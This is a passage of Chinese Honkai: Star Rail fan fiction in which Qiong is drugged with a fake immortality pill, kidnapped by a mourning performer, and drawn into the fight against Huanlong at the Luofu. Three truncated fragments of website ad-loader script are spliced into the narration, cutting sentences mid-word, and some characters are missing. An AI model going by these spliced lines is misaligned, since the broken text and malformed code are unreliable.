“……!”那三个孩子打了个寒颤,清醒过来,一边哭得眼泪鼻涕混作一团,一边色厉内茬地说“你等着下次要你好看”,就作鸟兽散。 “……”穹看向悼歌,欲语还休,最后还是先弯下腰去安慰那个孩子。 “别哭,”穹想了半天,也只能吐出这样一个词,“我是你丹枢姐姐委托来给你送药的。” “你好,小鱼。”悼歌轻柔地说,“别害怕,欺负你的人,他们已经离开了。” “谢谢大哥哥们帮了我……谢谢你们给我送来的药……”小鱼一边啜泣一边道谢,仍然在发抖。 “不用那么客气,”悼歌沉吟片刻,说,“现在外面的确也不够安全。我送你回家如何?” “带我一个。”穹立刻说。 “我……”小鱼捏着自己的裙边,嗫嚅说,“我……我给你们添麻烦了,不用的,我自己也可以回去。” “没事!”穹立刻说,“我是银河球棒侠,最不怕的就是麻烦。” “正是如此,”悼歌点头,“无需感到负担,我们走吧。” ****** “你刚刚……”穹看了一眼左手边牵着的小鱼,犹豫了一下,压低声音问,“你刚刚对那三个小子做了什么?” “……”悼歌以一种莫名观察的眼神注视了穹一会,说,“之前忘记向您介绍,我是一位悲悼伶人。” “这不是完全没有回答问题吗?”穹一头雾水。 “很多悲伤是共通的。”悼歌垂下眼睛,偏过头去看向那个目不能视的孩子,“他们流泪,是因为我以一点特殊的手法使他们感受到了这种悲伤。” 穹顺着悼歌的目光看了看小鱼,后知后觉地意识到,这位悲悼伶人可能对那个目不能视的孩子感到同病相怜。 “……”他张了张嘴,想要说什么,但是想到这孩子还在,为了避免她伤心,悻悻作罢。 “好了,你到家了。快回去吧,别叫爸爸妈妈担心了。”悼歌停下脚步,温和地说。 “谢谢大哥哥。”小鱼怯生生地再一次道谢,往前跑了几步,又对着他们挥了挥手。 即使知道这孩子看不见,穹和悼歌还是一起挥了挥手。 往回走的路上,穹出声问:“仙舟就没有义眼之类的技术吗?” “有。”悼歌肯定地说,“但对仙舟天人无用。” “为什么?” “因为长生的赐福。”悼歌直言不讳,“寰宇中已知的长生,它们的表现形式都非常接近癌。您知道星历7142年,博识学会治下的雅戈尔艾特星爆发的那一场瘟疫吗?那场瘟疫的病原体来自一种珊瑚纲生物上的癌细胞,在偶然的突然中,它获得了跨物种传播的能力……它们不断分裂,远超过细胞死去的速度,因而不会衰老,几近永生。但是这种永生非常不稳定,失序的自我复制终会有崩溃的那一天……” “太长不听,说人话。”穹打断。 “……”悼歌简单地说,“仙舟人就像是永远保持在初始状态的癌症患者。” 9. 九、奶奶滴!你阴我! “啊?” 穹发出一个单音,充分表达了自己的疑惑。 “仙舟天人,他们全身遍布着‘长生’细胞,依然能维持内环境稳态。”悼歌解释说,“这些‘长生’细胞可以依照需要,在特化细胞与干细胞之间互相转化,而不会出现失序——但这转化的规则是现在的科技不能探知的奥秘。只知道,每个人转化的依据都有些微差别,是出生时就已经注定的标准。” “细胞依照着转化的规则,将人的身体特征永恒地维持在出生时即注定的‘原初’中,仙舟人出生时是何模样,他们死时就是何模样。也许您可以把这归结为星神的伟力。”悼歌说,“……这就是为什么仙舟天人,如此长生;这就是为什么仙舟天人,会有‘天缺’。” “义眼、人造内脏……”悼歌垂下眼睛,“这些寰宇早就已经普及的技术,对仙舟人来说都是无用。如果非要弥补缺憾,更可能因为强烈的排异反应杀死自己。仙舟上曾有过进行义眼手术的先例,那人重见了几个时辰的光明,然而他那双看不见的眼睛很快又长了出来……在强烈的排异反应中,他忍受不了痛苦,提前堕入了魔阴身。” “……我懂了。”穹点头,提出质疑说,“但是你为什么对仙舟了解得那么清楚?” “因为我来仙舟就是为了治病。”悼歌叹气,消沉地说,“可惜持明龙尊也没有办法……您可以看出来,其实我快要死了。” “……?”穹大惊,“我看不出来!” “那么看起来我还挺健康。”悼歌点头,“我们到了——咦。丹枢女士不在?” 若木庭空无一人,只有空中飘落的点点落叶。 既然不在此地,恐怕这位魁首已经奔赴前线……也许他得提醒莱尔小心一点。悼歌心想。 穹看向若木亭中央摆着的那张琴。那上面留着一张字条: 小友,再次感谢。你的帮助为我了却一桩在长乐天的心愿,为表感谢,我制作了一副可以延年益寿的药丸【餐云承露丹】,服下后可令身轻体捷,延寿养生,现将它放在此地,请务必收下。 穹读完这张字条,又拿起放在一边的药瓶子闻了闻。 闻起来没有什么味道,他想了想,一口吞下。 “……”悼歌慢吞吞地说,“您刚刚吃了什么?” “【餐云承露丹】。”穹如实告知。 这就是星核给我的自信!穹心想,不管是什么东西我都敢吃一吃! 然而,他说完这句话,忽然感觉到头开始剧烈疼痛,以至于两眼一黑。 他瞬间意识到不对,然而药效生效太快,他只来得及咬牙说出最后一句话: “可恶,你们阴我……” ********** 神策府。 近两日云骑与药王秘传在丹鼎司激烈开战,景元又神神秘秘另有要事,全部事务的担子都压在策士长青镞的肩上,以至于她颇有点焦头烂额。 又是忙碌,然而忽然,外头的云骑护卫开始喧闹,青镞放下手中事务机警地抬头看去。 她震惊地看见,星穹列车的传奇无名客,穹,此刻对着神策府云骑拳打脚踢,口中大喝:“你们这群魔阴身别靠过来!!” “??”青镞霎时起身,口中喝令:“勿要伤人,制住他!” 领命的云骑苦哈哈地一拥上前,使出肉山技术制住穹,青镞快速走过来,犹豫了一下,使劲摇晃穹:“醒醒!” 穹迷迷糊糊地停下来:“我……我刚才打的不是魔阴身吗……?” 见穹清醒过来,青镞松了一口气:“你终于醒了!你突然走到神策府来开始挥舞武器,失控的样子和那些堕入魔阴身的同胞一模一样!发生了什么?” 穹脸色很难看地说:“丹枢给了我一丸【餐云承露丹】……” 他深呼吸一口气,将前因后果仔细地说给青镞听。 青镞沉思,说:“这位丹枢……看上去她与药王秘传脱不了干系。这所谓【餐云承露丹】很大概率就是药王秘传的邪恶丹方。” “那我……?”穹大惊,问。 “检查你身体的医士说,你的身体机能没有受到什么影响,”青镞谨慎地说,“不过我还是建议你之后来复查一下。毕竟那是药王秘传的药。” “我会立刻传令通缉丹枢,也烦请你帮忙……如果你有她的消息,请立即联系我。”青镞伸手,“带上这个谛听吧,它会帮你找到她的。” 穹伸手接过谛听,若有所思地笑起来,说:“啊……谢谢,我会的。” ******* 穹将谛听夹在腋下,一路轻快地行至若木亭。 丹枢已经不在那里。穹摸了摸下巴,将谛听放下来,笑吟吟地拍拍它的脑袋:“狗狗,靠你啦,要带我找到她呀。来,闻闻这个!” 他将丹枢留下的那药盒凑到谛听鼻子边。 谛听闻了闻,哼唧两声,抖了抖毛,示意穹跟上来。 “好狗狗。”穹笑着说,直起身来跟上谛听。 谛听带着他在道路复杂的工造司迂回行进,最终在一处隐秘的拐角停下。 丹枢侧身对着他,身后跟着一群长树枝的魔阴身,真是一眼药王秘传,洗都没得洗啊。 警觉的莳者察觉了来人,说: “魁首大人,请您退后!我来处理这家伙!” “无妨,退下。”丹枢淡淡开口,“他是我的朋友。” “虽然你说我们是朋友,但是你却给我下药……”穹笑问,“说真的,那味【餐云承露丹】到底是什么药哇?” “你吃了那味【餐云承露丹】了么?”丹枢不答反问。 “吃了,”穹可怜兮兮地卖惨说,“让我头痛欲裂啊。不像好药。” “那是求药使抵达仙舟梦寐以求的不死仙方……它能赋予短生种转变,将服用者转变为【仙舟天人】或者是【丰饶孽物】——如何称呼,取决于你如何看待此事。”丹枢直言不讳地告知,“我并没有想要害你。我很欣赏你,想要把长生的机会和自由留给你……” “谢谢,”穹摊手,“那么代价是什么呢?” “……”丹枢抿嘴,说,“小友,我恳求你不要插手药王秘传与神策府这场内战。那些妖弓祸祖的走狗如何向你形容眼下的一切?代表正庙正神的帝弓,在寰宇中追猎邪神寿瘟祸祖,而我们是邪神的爪牙?” “事情并不像你想象这样……”丹枢深呼吸一口气,“在下不要求你站队,只希望你能远离罗浮,远离这一切……我并不想与你为敌。” “……”穹收敛了笑容,淡淡地说,“魁首,或许你说得不错。我不了解巡猎,也不了解药师,但是我想你应该要明白,他们两个实际上有一样的本质。对星神来说,唯有命途是他们行动的动机……信奉一位药师那样的星神,说不定哪一天就会被抛弃——当然啦,用你们的话来说,这不是抛弃,是‘恩赐’,只是星神的恩赐恐怕凡人消受不起。” “……”丹枢抿唇。 “你胆 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 敢污蔑慈怀药□□枢背后的魔阴身愤怒咆哮。 “哎哟,”穹无奈叹气,“我说的是真心话啊。算啦,我也不是很想和你们打,只好说就此别过了。” 丹枢最后看了他一眼,一言不发地领着魔阴身离开。 穹笑眯眯地在身后挥手,等到那一行人终于离开了视线,他摸了摸下巴自言自语: “嗯,那么接下来,就是按照景元的请求,去丹鼎司和星穹列车汇合,帮帮那位符太卜了。哈哈!诸位好等……我来帮忙咯。” ****** 丹鼎司。 “哎,穹!这边!”三月七朝着远远赶来的人挥了挥手。 “我来迟了,前线战况怎么样?”穹轻快灵巧地小跑到三月七、停云、瓦/尔/特身边,问。 “哝,你自己看吧。”三月七朝着前方努了努嘴。 “……”穹向前探身张望,只见满地孽物的残肢和尸体,间或夹杂着几个云骑,不由感叹说: “战况激烈啊。” 手持折扇的停云笑着说:“这才哪到哪啊……数百年前,某丰饶令使为了劫夺建木,率军压境罗浮,摧毁半数洞天,杀得云骑十不存一。这样的过去,对长生种来说甚至算不得历史,可以说就在昨天……与之相比,眼前这点场面,不过是小打小闹罢了。” 穹斜睨了停云一眼。 “哇,哪有你这样安慰人的?”三月七恐惧地拍了拍胸。 “还是做正事要紧,”穹歪了歪脑袋,问,“我们领军的符玄符太卜,她现在在哪里呢?” “呵呵,”停云用扇子掩着口鼻轻笑,“诸位恩公不必心急,咱们往前走走,问问驻守的云骑,不就知道了么?” “嗯……”沉吟的瓦/尔/特赞同道,“有道理,我们走吧。” 于是一行人顺着长梯一路向下,行至行医市集,远远看见地上躺着一个云骑。 三月七松了一口气,快步下楼梯来到这位云骑身边。 她半蹲下来伸出手,正想问“你没事吧”,那云骑忽然暴起伤人,手中长枪直指三月七的脑门。 “……!”三月七瞳孔巨震,抬起手来阻挡,却一个趔趄—— 她往后一看,穹拽着她的后衣领子带她躲过了这一击。 “……谢谢!”她惊魂未定地说,“刚刚要不是你,我的脑袋就要开花了——” “不客气,”穹松开三月七的衣领子,轻快地抄起球棍,“看样子我们的这位云骑战士有点不清醒了,我来帮他清醒一下。” “呃——”瓦/尔/特与三月七还没来得及阻止,穹已经照着这位云骑的脑袋来了一闷棍,看上去这一闷棍效果非常好,这位控制不住自己的云骑晕头转向了数十秒后逐渐清醒过来,迷茫地看看左边,看看右边,开口问:“我这是在哪里……?天堂?” “醒醒,兄弟。”穹说,“你在丹鼎司,还没死。你刚刚突然像个魔阴身一样暴起伤人。发生了什么?你家符太卜人呢?” “……!符太卜!对了!”这云骑一个哆嗦清醒过来,“符太卜在太真丹室的入口处!药王秘传寡不敌众,就使了一出阴招!他们将能诱发魔阴身的丹药放入丹炉,使其武器遍布整个洞天——吸入的云骑便有堕入魔阴的风险!列位是来支援的?请快快去帮帮符太卜!” “……”穹蔫蔫地说,“怎么变成丧尸危机了。我不擅长这个……” “好了,”瓦/尔/特说,“我们快去帮符太卜关闭丹炉吧。” 10. 十、因为他有魔阴身 眼前一片虚无的漆黑,渐渐却透出亮光来。 越来越亮,越来越亮,逐渐变成旋转的几颗星星。 星星又变成了三月七和丹恒的脸,他们好像在说什么,朦胧遥远,听不真切,只有依稀几句“还不醒?”“……人工呼吸……”,紧接着,丹恒的脸极速放大。 “呱!”穹惨叫一声,猛地睁开眼睛。 原来是梦! 可恶,怎么是梦! 穹脑中飞速掠过这两个念头,随即心有余悸地坐起来,迷茫地摸了摸脑袋,忍着昏昏沉沉之感打量四周。 古色古香的仙舟建筑,没什么特别。 他一把掀开被子,起身,越过屏风看见一套桌椅。 白头发的悲悼伶人正姿态端正地坐在椅子上,那根从不离手的拐杖依靠在他的臂弯里。他垂着眼睛擦拭那根象牙白的拐杖,纤长的睫毛在苍白的脸上投下小刷子一样的阴影。 穹怒从中来。 “你做了什么?!”他掏出球棍指着伶人,冷声威胁,“你和丹枢给我吃了什么药?!” “……”悼歌放下拐杖,抬起头看向穹,说,“您误会了,丹枢女士并不知道我绑架了您。” “……?”穹惊呆了,“哈?你绑架我?” 他放下球棒,上下打量了一遍悲悼伶人:“你要干嘛?勒索绑票?我劝你放弃!我们三月七和杨叔穷得揭不开锅,一个子都不会给你!要用我去要挟他们更是想都不要想!小心我们杨叔给你打得你妈妈都不认识!” “那些都不是我要做的。”悼歌镇静地说,“事实上,丹枢女士给您的【餐云承露丹】实为药王秘传的降智小秘方:它有两个作用,让您变成长生者,并顺便帮您少走800年弯路,一举成为魔阴身。而我只是将您原本准备吃的降智小秘方换成了蒙汗药——顺便一提,我用的剂量足以迷倒一头大象三天三夜……没想到您醒得这样快。” “……”穹又看了他两眼,不客气地一屁股在他旁边坐下,“你是药王秘传的人?” “不,”悼歌说,“我是一位悲悼伶人。” “你到底干嘛来的?”穹抱臂问,“能说句实话吗。” “我是来治病的,”悼歌抬眼直视穹,说,“本意是来找罗浮的龙尊看看。现在她对我的病束手无策,那么我也只有寻求星神的伟力了。” “……”穹猛然意识到什么,冷声质问,“是你向建木投入星核,令其复苏的?” “不,那是绝灭大君幻胧做的。”悼歌直言不讳地告知。 “……”穹呆住了,“这奶奶的,又是谁?” 悼歌说:“她是毁灭星神纳努克的令使。实际上您已经见过她了。” “我已经见过了?我怎么不知道……”穹脱口而出,忽然停下来,回想起一路上的种种,包括停云对药师孽物那不正常的好奇与赞叹,陷入了沉思,“等等。不对。” “【鸣火】商团的首席代表,停云小姐。她早已遇难。”悼歌说,“您所见到的那位‘停云’,实际上,是绝灭大君幻胧的批皮。这位令使与罗浮的药王秘传达成了协议,将星核投入建木,意在颠覆罗浮。” “……”穹沉默了三秒,“你就这样告诉我了?你到底是哪边的?” “啊,好问题……”悼歌想了一会,慢吞吞地回答,“我是和我的同伴一边的。” “这不是等于没说吗??” “这等于将我们的立场一起阐明。我是和我的同伴一边的,我的同伴是和我一边的,除此之外,我们不拥有任何立场。”悼歌沉静地说。 “……”穹摩挲了一下球棒,“好吧,那你绑架我做什么?你看上去手无缚鸡之力,不怕我杀了你去找杨叔他们?” 星核精斜着眼睛看向伶人,那一双金色的眼睛不带半点温度,样子不像开玩笑。 星核精暗地里想:这家伙不知道什么来头,但是看着不像坏人。之前他的确帮了那个小女孩,这会也没见有恶意,先吓他一吓,看看他怎么说。 伶人坦然地看向穹:“不用您动手。其实我自己已经病得快要死了。绑架您在这里,也不是要对您做什么……钱财、力量——凡尘看重的种种,对一个将死之人来说,都是身外之物。” “我只是想要请您暂且在众人的视野中消失一会,”伶人补充说,“好让我的同伴能借用您的样子去做一些他不便做的事情。严格来说我们的目的和您具有一致性,都指向阻止幻胧。毕竟建木只有一株,果实只有一个……您可以将我们与幻胧想象为竞争关系。” “你想要用建木治病?”穹问。 “不尽然。”悼歌的手指抚摸过那根象牙白的拐杖,垂着眼睛神情莫名,似乎陷入了一种遥远而悲哀的回忆。从初见开始就隐隐察觉的气质更加明显,这位伶人总是陷在一种不知缘由的悲伤之中,那种悲伤就如流水般潺潺淌过,像他自带的,持续不断的背景音。 ……这是悲悼伶人的通病吗? 穹一边想,一边出声打断空气中无形的悲伤:“什么叫不尽然?” 悼歌沉默了几秒,倒了一杯茶,放在桌上推到穹面前,问:“您想要喝茶吗?” “这转移话题的手段也太拙劣了!” 悼歌非常明显地消沉叹气。 “该叹气的明明是我,”穹心情非常糟糕地说,“你叹什么气?” “我很抱歉。”悼歌放下茶杯,握着拐杖起身,浅蓝色的眼睛直视穹,说,“我无意伤害您,也不会伤害您的朋友。您可以当作睡了一觉,等您醒来,此间的一切都会平安地落幕:药王秘传会被击溃,绝灭大君会被打倒……” “你要我在这里什么都不做?”穹捏紧了拳头,“那别怪我对残疾人出手了。” “啊……”悼歌若有所思,说,“问题的关键在这里吗?那么您想要做什么?” “我要去和杨叔他们汇合!”穹立刻说。 “这个不行。”悼歌真诚地说,“能不能换一个?” “?”穹说,“你还挑上了?” “抱歉,”悼歌想了想,说,“如果您只是不想什么都不做,又想和同伴在一起的话,我有一个建议。” “?”穹抱臂警惕道,“说来听听。” “前任持明龙尊饮月君重返罗浮了,现在在罗浮上一定有一些人在找他,其中不乏有星核猎手刃这样对他感情复杂的家伙……”悼歌说,然而没说完就被穹打断了:“等一下,这和我有什么关系?” “……?”悼歌这下真的有一点吃惊了,他盯着穹,通过观察这位星核精的表情变化来判断这句话是不是真话,“您是说,您的同伴没有告诉过您他的身份?我以为您知道,所以才没让他下车。” “……”穹一下子明白过来这位伶人口中“前任持明龙尊饮月君”指的是哪位,火大地说,“你是说丹恒是前任持明龙尊?” “是的。”悼歌恢复常态,说,“您听说过无罅飞光和应星这两个名字吗?” “这两个又是谁?和丹恒又有什么关系?你别搞得你好像和他很熟一样!”穹立刻说。 悼歌慢吞吞地说:“我熟悉的只是罗浮历史。如果您想听听这段历史的话,在我们前去找丹恒的路上我可以讲给您听——您要一起来吗?” “……”穹抱臂思考片刻,大声说,“你要是再阴我,我就把你唯一好的那条腿也踹断!” 星核精心想:不愧是我!猛踹瘸子那条好腿,够损。 “那么我就当您同意了。”悼 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 歌点头,“我们走吧。” ******** 穹警惕地跟在那位悲悼伶人身后。 伶人闲庭信步般带着他在丹鼎司绕路,同时气息平稳地说: “您知道罗浮上有三大种族:仙舟天人、狐人、持明。” “持明是不朽星神龙的后裔,他们长生的方式与天人和狐人不同。在持明走到生命的尽头时,他们会回到波月古海结成一枚持明卵,让古海的海水涤荡今生种种回忆,再以全新的面目再世为人。您可以将之看成一种轮回转世。” “您在列车上的同伴,丹恒,就是前任持明龙尊丹枫的转世。” “好长的导入,能不能说重点?”穹催促道。 “重点就在这里。持明族无法繁衍,他们的人口上限已经锁死了,”伶人说,“这至今仍然是持明族那些龙师的心病。” 伶人平静地说完,又另起话题: “数百年前,那位丹枫,他与另外五位为罗浮做出重大贡献的英雄并称云上五骁。” “他们彼此为好友,但可惜命运弄人。在七百年前与丰饶令使倏忽的战争中,白珩为救丹枫与应星壮烈牺牲。” “为了救回这位朋友,也为了解决持明的人口问题,他伙同另一位朋友应星,采集白珩的血液和发丝、丰饶令使倏忽的肉片,使出了一招化龙妙法,希望将死去的朋友转化为持明族人令其重生——” 伶人停顿了一下,转过头来看向穹。 “呃?你看我做什么?”穹神色莫名,问,“他失败了?” “他成功了,但活过来的这位朋友,”伶人说,“变成了一头孽龙。孽龙不通人言、不识旧人,肆意冲撞建木的封印,虐杀驻守鳞渊镜的云骑……最终,被当时云上五骁的无罅飞光、罗浮剑首,镜流,含泪斩落。” “应星,在这个过程中受到倏忽肉片的污染,从短生种,堕入魔阴身,被押入幽囚狱受无间剑树之刑。”伶人平静地说,“犯下大错的饮月君丹枫,则被判处强制蜕鳞之刑,说人话就是手动转生,由丹枫变为丹恒。丹恒刑满之后,被流放出罗浮,‘凡所治处,不得履踏’。而亲手斩杀挚友所化的孽龙的镜流,则心性不稳,堕入魔阴……” “跌宕起伏。”穹面无表情地评价说,“让人唏嘘。” “但是那和丹恒有什么关系?丹枫是丹枫,丹恒是丹恒。”穹说。 “……”伶人看了穹一眼,“您所持的观点和镜流很像。” “啊?”穹一头雾水地发出一个单音。 “应星,就是现在的星核猎手,刃。丹枫,就是丹恒的前身。而做出上述判决的人……就是他们曾经的朋友,云上五骁之一,罗浮现在的将军,景元。”伶人说。 “我还是没看出来这些和丹恒有什么关系。”穹不客气地说。 “您认识的是丹恒,当然如此。”悼歌垂眼,说,“不过对刃来说就不是这样。简单地说,刃在追杀丹恒——虽然,他打不过丹恒。” “啊?”穹惊呆了,“他为什么追杀丹恒?白珩不是他们一起复活的吗?再说那个丹枫也受刑死了啊?” “我想这有很多理由……”悼歌想了想,说,“他可能和您有一点不同的看法。也许他觉得,丹恒是丹枫的不完全转世,那么丹恒就等于失忆的丹枫。” 伶人低声说:“独自一个人背负已经没有多少人记得的罪孽大概是很痛苦的,因此这位刃必须紧紧揪住当年的同伙,要求他一起‘偿还罪业’……所以才会这样执着于追杀他……” “?”出生不到两年的星核精头疼地说,“停,我说停停。能不能讲点我听得懂的,阳间的逻辑?” “……”悼歌沉思片刻,简洁地回答说,“因为他有魔阴身。” 11. 十一、绝灭大君 那边,那个用扇子掩着口鼻微笑不语的狐人女子,实际上就是毁灭令使幻胧。 莱尔用视角的余光观察着“停云”,越看越觉得好笑,如果不是还在扮演着穹,此刻他一定会笑得直不起腰来。 毁灭星神的令使,那些最傲慢的存在,此刻却虚与委蛇地来与她眼中的那些小卒子演一出“恩公”“小女子”的戏码,这种精神其实也很欢愉,很像假面愚者会做的事情。 他一边想,一边轻灵地关闭了这一个丹炉。 和符玄汇合之后,他们各自交换了现在的情况。符玄请求不受烟雾影响的星穹列车一行人深入太真丹室关闭丹炉,而她则率云骑军在后方阻拦丰饶孽物。 再往前走,就是最大的丹炉了,然而那个最大的丹炉也熄灭了,手持节杖漂浮在空中的承露天人怔怔地望着丹炉,喃喃自语: “丹炉……熄灭了……” “你也快要熄灭了,丹枢。”莱尔笑眯眯地说。 “……”承露天人转过身来。 她现在的样子,已经完全看不出从前那个丹枢的影子。丰饶的力量使她显出强大又轻捷的体态,如叶片般青绿色羽衣的披风在她身后,似有生命般随着她的呼吸吐纳鼓动,像一对帮助她腾空的,鸟类的翅膀。 “……那,那就是,药王秘传的魁首?”三月七紧张地握紧了自己的弓,凝结出六相冰的箭矢,拉满弓弦,对准丹枢。 “是的,不必紧张,”莱尔轻松地说,“要赢过她并不难。” “……你们就是景元找来的帮手。”丹枢压抑着开口,“你们——” 还要说多久?再说下去,忒利斯提斯的病可等不起啊。莱尔撇嘴,笑着打断说:“好了别废话,快点来打一架吧。寰宇的规则正是如此,我们都是以力量来交流的。” “……?”三月七颇觉奇怪,但大敌当前,也不容多想,只好先将手中这一箭脱手射出。 莱尔闪身冲上前,紧跟在这一箭之后,将手中的球棒朝着乘露天人挥去。 他的确没有骗三月七,在场的人都能看出来他的游刃有余。他就像在舞台上一样踩着丹炉和掉落的碎片起舞,以极其刁钻的角度将对准他的攻击全部躲开,动作轻灵敏捷,行动行云流水。那乘露天人很快在他手下败下阵来。 “……为什么……会这样……”丹枢捂着伤处,痛苦地说,“幻胧明明说过,建木重生,会带来不死的仙躯……” “遗言就快说吧,”莱尔轻盈地落地,将球棒在手中转了一圈,“否则就来不及啦。” “幻胧……药王秘传实现了你的要求……绝灭大君也该兑现承诺!”天人挣扎着,对着好整以暇地站在众人身后的“停云”说。 “停云”收起折扇,微笑摊手:“唉……为什么非要逼我出手呢?亲自登台,有违我的毁灭美学呀……” 她一边说,一边信步向前。 随着她的前进,深紫色的火焰从她身上升起,并不断蔓延至地上躺着的那些魔阴身。就连先前的药王秘传魁首,也不能幸免。 这就是星神的力量,莱尔收起球棒冷眼注视,看那魔阴身在紫色的火焰下,被转变为毁灭军团的虚卒。 转化完成的停云对着他们一笑,那具躯体就软绵绵地倒了下去,只留下一团青绿色的火焰,不断升起。 “停云小姐——”三月七惊呼。 “列位恩公,请容小女子重新介绍——”幻胧含着笑意的声音从那团火焰处传来,“小女子名为幻胧,乃是纳努克大人座下绝灭大君。我本意是让仙舟自取灭亡,但既然那位将军执意要小女子登台,那小女子也只好献丑一番……” “就先让这些虚卒和这位愚者和你们玩一会吧,小女子要先行一步,去赴将军的约了。” “哎!等等——”三月七伸手,然而那团火焰越升越高,最终飞速向远处消失。 “……呵呵……” 令三月七感到恐惧的是,刚刚还好好地站在她身边的“穹”,此刻忽然发了癫一样阴沉地低笑出声,随着他的笑,有一层遮蔽他们眼睛的表皮迅速融化了,露出了其下本来的面目—— 那里站着的哪里是穹?分明是一个金发绿眼的陌生人!那人手里拿着的哪里是球棒?分明是一把闪着奇异光泽的匕首! “你是谁?!”三月七迅速举弓对准莱尔,喝问,“穹呢?他在那里?!” “……”瓦/尔/特面若冰霜地召唤出手杖,极具威慑力的眼神逼视着莱尔。 “诸位好,”莱尔阴恻恻地扯着嘴角微笑了一下,优雅欠身行礼,“我是假面愚者莱尔。你们的好朋友没有生命危险,但我的好朋友说不定有,这事说来复杂,但是……” “你在说什么?把穹交出来!”三月七射出一箭,打断了莱尔未说完的话。 莱尔侧身躲过,撤下笑容,冷冷地说:“幻胧要我和你们打你们就打?抱歉,我不奉陪了!” 愚者像流星一样高高跃起,向着幻胧的方向急速掠去,三月七急得连射三箭,却被愚者轻巧躲过。 几人原本想立即追上去,然而幻胧留下的虚卒围了上来,只能看着那愚者的背影消失在视线之中。 ******** “您看。” 悼歌停下脚步,远远地示意穹低头去看数个阶梯下面的平台。 “那是丹恒?!”穹震惊地看向那边的平台,又看向悼歌,“他为什么长了角?旁边那个是刃?卡芙卡怎么也在?还有那个小孩是谁啊?他为什么在打丹恒和刃啊?!” “……”悼歌纠正说,“是丹恒和刃在打那个孩子……” “这重要吗?!”穹急道,“不行,我得去帮丹恒!” “……”悼歌说,“我倒是觉得那个孩子更需要帮助……” 他没能说完,穹就一跃而下,连跳数个台阶,大喝: “丹恒,我来帮你——” “?!”正在和彦卿对战的丹恒一惊,抬眼看去,就见穹手持球棒,气势汹汹地从天而降,力道十足地给了本就不支的彦卿一下。 “……”彦卿痛苦地吐出一口血,他再也支撑不住,所有环绕着的飞剑都不甘心地跌落地面,而他也随之单膝跪地。 这位少年骁卫撑着膝盖,咬牙说:“卑鄙无耻之徒,竟然偷袭……我还能再战,别走… (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' …” “好了。”一只手按在了他的肩膀上,轻轻止住了他想要站起身的动作。 “将军!”彦卿顿时心下大定。 千呼万唤始出来的神策将军对着彦卿微笑了一下,转头看向身前几位,不由感慨道:“和故人久别重逢,真有些感慨……二位久别仙舟,再次相遇,却是在罗浮危急的关头。” “景元……”刃低沉地说。 “……”景元转过身来,笑着说,“久违了,老朋友。” “我要做的事已经做完了。”刃撇头,说。 “嗯,完了。”景元微笑点头。 这位神策将军闭上眼睛,复又睁开,将全部复杂的感情尽数收起,冷静而严肃地对站立在一边的卡芙卡说:“是仙舟误会了你们。既然你们已经证明你们并非星核灾变的凶手,又引星穹列车前来,帮了仙舟一个小忙,仙舟很感激。现在离开,我可以当做没看见。” “?!”彦卿还想挣扎,被景元以一个眼神止住。将军对着自家过于年轻、心高气傲的骁卫轻轻摇头,于是彦卿立刻安静下来。 紫发的猎手脸上仍然挂着捉摸不透的微笑,她对着景元微微点头,又对着穹微笑了一下,说: “再见,穹……我们再见的时候不会很远的。” 猎手领着刃离开了这一片是非之地,就好像他们来,只为了和丹恒联手打彦卿一顿。 被冷落多时的星核精只在卡芙卡妈妈那里得到一点温暖,此时有一种强烈的、自己不该出现在这里的尴尬感。 虽然伶人早已经告诉他,现在这位神策将军和丹枫和应星,也就是和丹恒和刃的种种渊源,但是实地感受一番才知道原来是这样扭曲复杂的感情?!他只是一个出生不到两年的星核精,他不擅长处理这种多边形复杂人际关系…… 景元拉着彦卿站起来,低声嘱咐说:“你先离开,去找医士疗伤,剩下的交给我。” 交待完毕,将军看向头上生着龙角的丹恒,笑说:“好久不见,老朋友。” “他不是丹枫!”穹立刻上前一步,拦在丹恒面前,说。 “……”景元有些诧异地睁大了眼睛,随即恢复微笑的形态,“当然,只是一模一样之面容、一模一样之龙角,总会让人想起故人的影子。” 丹恒微微吸进一口气,轻轻搭在穹的肩膀,说:“没关系,让我来说。” 他上前,说:“我知道自己已遭仙舟流放,不得履踏,此番前来,只为寻找我在列车上的同伴,确保他们的安危。” “当然。”景元说,“你的另外两位同伴,此刻正在鳞渊镜等着你。咱们一起去见见吧。” “……”丹恒点头,又转头问穹,“你怎么一个人来这里了?” “说来话长……”穹摸了摸脑袋,将药王秘传、丹枢、伶人的事情简洁扼要地向几人说明。 景元沉吟片刻:“你所说的这位伶人,行迹甚是可疑,或许他和此次星核灾变联系颇深……他此刻在何处?” 穹一边说,一边指向数个楼梯之上的高台:“他不就在……” 他抬头看去,却看见那高台之上早就空无一人。 12. 十二、吃进去的建木也给我吐出来 莱尔将手中的匕首抛起,又接住,再抛起,又接住。 鳞渊镜,波月古海,绝灭大君,水底的建木玄根。 愚者在心底又过了一遍这些要素,笑吟吟地在云雾缭绕的空旷之境大喊: “幻胧,出来!兑现你的承诺。” “呵呵……”幻胧阴冷而漫不经心的轻笑声从那朵青金色的莲花处传来,“小小愚人,也敢来和我谈条件……?” “忒利斯提斯诚不欺我……”愚者将手中的匕首握住,讥讽地笑说,“你的确贪生怕死,贪婪无度,傲慢自大,目中无人……还不讲诚信。能不能告诉我纳努克看重你什么了?你不觉得泯灭帮的冥火大公都比你在毁灭的命途上行得更远吗?” “伶牙俐齿的小虫子……”幻胧阴恻恻地说,“你最好祈祷你逃跑的速度能快过我塑成肉身的速度。否则……” “否则?”愚者笑出声来,握紧了匕首,来到那朵莲花前,居高临下地睨视那散发着生命力的丰饶神迹,一刀刺下。 那闪烁着奇异光泽的匕首如热刀入油一般,顷刻将那朵莲花一分为二。 “……你竟敢……”幻胧的声音明显地低沉下去,含着怒气,连带着那团莲花上的火焰也随之炽盛。 “哈哈……”莱尔从毁灭令使的手中抢下那一半的莲花,毫不在乎地笑了两声,说,“乘人之危,跟你学的。你慢慢捏你的肉身吧,我还有重要的事情要做,不和你闲聊咯。” 愚者优雅地欠身,一边飞速向水面浮起,一边说: “哎呀,忘了说,神策将军景元和持明龙尊饮月君正在赶来打你的路上,你就和他们玩去吧。” ******** “如是我闻: “一时千手慈怀药王游化诸界,与莳者九万九千九百九十九十九人俱,往罗睺下,而为说法。 